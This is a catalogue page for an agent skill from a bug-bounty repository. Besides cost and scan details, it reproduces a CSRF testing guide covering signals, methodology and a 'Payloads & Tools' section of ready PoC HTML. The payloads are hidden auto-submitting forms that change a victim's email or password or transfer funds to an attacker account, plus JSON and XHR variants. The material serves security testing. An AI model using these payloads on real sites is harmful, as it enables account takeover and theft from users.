Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ShulkwiSEC/bb-huge --skill csrfgit clone --depth 1 https://github.com/ShulkwiSEC/bb-hugeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/csrf)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/csrf"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/csrf/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/csrf"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/csrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00103 | $0.01877 |
| Opus 5 | $0.00051 | $0.00938 |
| Sonnet 5 | $0.00021 | $0.00375 |
| Haiku 4.5 | $0.00010 | $0.00188 |
Grade C, and why
csrf scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Hidden instructionshighPrompt injection
Directives inside HTML comments, invisible characters or bidirectional overrides are read by the model and not by the person reviewing the file.
<!-- GET-based CSRF (auto-loads on page visit) --> How it starts
The opening of the file, as written. The whole thing — 137 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cross-Site Request Forgery (CSRF)
What Is Broken and Why
CSRF exploits the browser's automatic inclusion of credentials (cookies, HTTP Basic auth) with every request to a given origin. An attacker-controlled page on a different origin can cause the victim's browser to send authenticated requests to the target application. Since the browser automatically attaches the session cookie, the server cannot distinguish the forged request from a legitimate one — unless it validates a secret token that only the legitimate page would know. Absent CSRF tokens, SameSite=Strict/Lax cookie attributes, or origin validation, any state-changing operation is potentially exploitable.
Key Signals
- State-changing requests (account settings, password change, fund transfer, email change) without a CSRF token
- CSRF token present but predictable, static, or not validated server-side
- Cookie lacks
SameSite=StrictorSameSite=Laxattribute Content-Type: application/jsonendpoints that also accepttext/plain(allows form-based CSRF)- API endpoints not verifying
OriginorRefererheaders - WebSocket handshakes without origin validation
Methodology
- Identify all state-changing requests (POST, PUT, PATCH, DELETE) in the application.
- Check for CSRF token in request parameters or headers (
X-CSRF-Token,_token,csrf_token). - If token is present: test whether it is validated (remove it, use an invalid value, reuse an old token, use another user's token).
- If no token: confirm the action is exploitable by crafting a PoC HTML page.
- Check
SameSiteattribute of session cookie;Laxprovides partial protection (GET only, top-level nav). - Test JSON endpoints: try submitting the same payload as
text/plainorapplication/x-www-form-urlencoded. - Test whether
Refererheader is validated and if it can be stripped or spoofed. - Use Burp's "Generate CSRF PoC" feature (right-click on request in Proxy history).
Payloads & Tools
<!-- GET-based CSRF (auto-loads on page visit) -->
<img src="TARGET/action?param=value" style="display:none">
<link rel="stylesheet" href="TARGET/action?param=value">
<!-- POST-based CSRF (auto-submitting form) -->
<html>
<body onload="document.forms[0].submit()">
<form action="TARGET/change-email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
</body>
</html>
<!-- POST-based with multiple fields -->
<form action="TARGET/transfer" method="POST" id="csrfForm">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="destination" value="ATTACKER-ACCOUNT">
<input type="hidden" name="currency" value="USD">
</form>
<script>document.getElementById('csrfForm').submit();</script>
<!-- JSON CSRF via text/plain Content-Type -->
<form action="TARGET/api/update" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]","x":"' value='"}'>
</form>
<!-- Results in body: {"email":"[email protected]","x":"="} -->
<!-- CSRF token bypass — test without token -->
POST /change-password HTTP/1.1
Host: TARGET
Cookie: session=TOKEN
new_password=attacker123
<!-- CSRF token bypass — use invalid token -->
POST /change-password HTTP/1.1
csrf_token=AAAAAAAAAAAAAAAA
<!-- CSRF via XHR (requires CORS misconfiguration) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'TARGET/change-email', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('[email protected]');
</script>
<!-- Burp Suite — Generate CSRF PoC -->
<!-- Right-click on request in Proxy -> Engagement tools -> Generate CSRF PoC -->
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 137 lines · 103 tokens per session scan C 69b78310091a
csrf is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 103 tokens to every session and 1,877 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it C with 1 finding (hidden instructions). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
hunt-api-misconfig
Hunt API security misconfiguration — mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {isadmin:true, role:admin, verified:true} on profile/account/reset endpoints — server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this…
octopus-architecture
Review system architecture, simplify boundaries, or compare interface designs from repository evidence.
agenticx-a2a-connector
Guide for using the A2A (Agent-to-Agent) communication protocol in AgenticX including agent discovery, skill invocation, remote agent cards, and distributed agent systems. Use when the user wants agents to communicate with each other, set up distributed agent systems, invoke remote agent skills, or build…
agenticx-tool-creator
Guide for creating custom tools in AgenticX including function decorator tools, MCP tool integration, tool registries, and remote tool access. Use when the user wants to create tools for agents, integrate external APIs as tools, build MCP servers, or extend agent capabilities with custom functions.
continuum-tools-mcp
Connect MCP servers (Stdio/SSE/StreamableHTTP) to a Continuum agent, configure tool filtering, set up tool-context capture/injection (e.g. sessionid), and read run artifacts (UI widgets, structured tool data). Invoke when the user asks "connect MCP", "filesystem tool", "remote API tool", "auto-capture sessionid"…
pwn-ai-openai
Drive PWN::AI::OpenAI from pwneval.